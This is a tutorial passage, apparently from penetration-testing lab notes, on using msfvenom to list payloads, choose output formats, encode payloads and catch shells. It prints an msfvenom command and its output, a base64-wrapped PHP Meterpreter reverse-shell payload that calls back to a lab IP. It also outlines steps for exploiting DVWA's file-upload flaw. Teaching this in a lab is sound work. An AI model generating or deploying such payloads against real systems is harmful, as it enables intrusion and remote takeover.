Msfvenom will allow you to access all payloads available in the Metasploit framework. Msfvenom allows you to *create payloads in many different formats* (PHP, exe, dll, elf, etc.) and for many *different target systems* (Apple, Windows, Android, Linux, etc.). `msfvenom -l <type>` will list all modules available for that type. Type can be any of the following: `payloads, encoders, nops, platforms, archs, encrypt, formats, all` . ### Output formats You can either generate stand-alone payloads (e.g. a Windows executable for Meterpreter) or get a usable raw format (e.g. python). The `msfvenom --list formats` command can be used to list supported output formats ### Encoders Contrary to some beliefs, encoders do not aim to bypass antivirus installed on the target system. As the name suggests, *they encode the payload*. While it can be effective against some antivirus software, using modern obfuscation techniques or learning methods to inject shellcode is a better solution to the problem. The example below shows the usage of encoding (with the `-e` parameter). The PHP version of Meterpreter was encoded in Base64, and the output format was raw. ```bash msf6 > msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64 [*] exec: msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64 [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of php/base64 php/base64 succeeded with size 1509 (iteration=0) php/base64 chosen with final size 1509 Payload size: 1509 bytes eval(base64_decode('Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjE4Ni40NCc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdG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GllKCk7')); ``` `-p` denotes the payload we want to encode `-f` is the output format we want `-e` is the encoded format of the payload `-o` output file name ### Handler Similar to exploits using a reverse shell, we will need to be able to *accept incoming connections* generated by the MSFvenom *payload*. When using an exploit module, this part is automatically handled by the exploit module. The term commonly used to receive a connection from a target is '**catching a shell**'. Reverse shells or Meterpreter callbacks generated in your MSFvenom payload can be easily caught using a handler. In the following scenario we will exploit the file upload vulnerability present in DVWA (Damn Vulnerable Web Application). The exploit steps are; 1. Generate the PHP shell using MSFvenom 2. Start the Metasploit handler 3. Execute the PHP shell